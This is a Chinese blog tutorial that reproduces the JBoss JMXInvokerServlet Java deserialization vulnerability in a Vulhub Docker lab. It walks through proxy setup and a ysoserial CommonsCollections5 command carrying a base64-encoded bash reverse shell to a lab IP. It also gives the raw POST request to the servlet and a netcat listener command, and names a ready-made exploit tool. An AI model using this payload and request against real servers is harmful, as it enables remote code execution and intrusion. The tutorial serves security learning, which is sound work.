利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞

Vulnhub官方复现教程

https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/

漏洞原理

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

参考文档:

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/jboss/JMXInvokerServlet-deserialization

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:4分钟
环境启动后,访问http://your-ip:8080/即可看到JBoss默认页面。
在这里插入图片描述

端口设置

浏览器设置

以火狐浏览器FireFox为例,在选项常规网络设置设置,将连接手动代理配置HTTP代理,填写127.0.0.1,端口为8080
在这里插入图片描述

BurpSuit设置

ProxyOptionsProxy Listeners编辑监听端口为8080
在这里插入图片描述
并将ProxyIntercept点击成Intercept is on

复现漏洞

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考jboss/CVE-2017-12149

序列化数据生成

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

【注意】上面POC中{}内base64的编码原内容为bash -i >& /dev/tcp/192.168.236.138/3333 0>&1
在这里插入图片描述
【注意注意】!!!ysoserial不要用Powershell!!!一定要用cmd!!!

发送POC

生成好的POC文件.ser,将这个文件作为POST Body发送至/invoker/JMXInvokerServlet即可:

POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 192.168.236.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-java-serialized-object
Content-Length: 4240

【右击选择上传文件,选中POC上传】

在这里插入图片描述
比如我POC中的命令是监听端口,那么就检测对应端口

nv -lvnp [端口号]

在这里插入图片描述

EXP

网上已经有很多EXP了,比如DeserializeExploit.jar
在这里插入图片描述
直接用该工具执行命令、上传文件即可:
[外链图片转存失败(img-S5nPofPe-1562742668389)(https://vulhub.org/vulhub/jboss/JMXInvokerServlet-deserialization/1.png)]

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
JBoss反序列化漏洞是指JBoss应用服务器中存在的一种安全漏洞,具体表现为Java反序列化错误类型。该漏洞存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致漏洞的出现。攻击者可以利用漏洞发送特制的请求,通过发送包含恶意序列化数据的POST请求到`/invoker/readonly`路径,实现远程代码执行的攻击。这个漏洞可以在JBoss 5.x和6.x版本中被利用。如果访问`http://ip:端口/jbossmq-httpil/HTTPServerILServlet`出现相关页面,就可能存在该漏洞。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [jboss反序列化漏洞](https://blog.csdn.net/weixin_48776804/article/details/116919336)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [JBOSS反序列化漏洞](https://blog.csdn.net/weixin_52206305/article/details/125534761)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值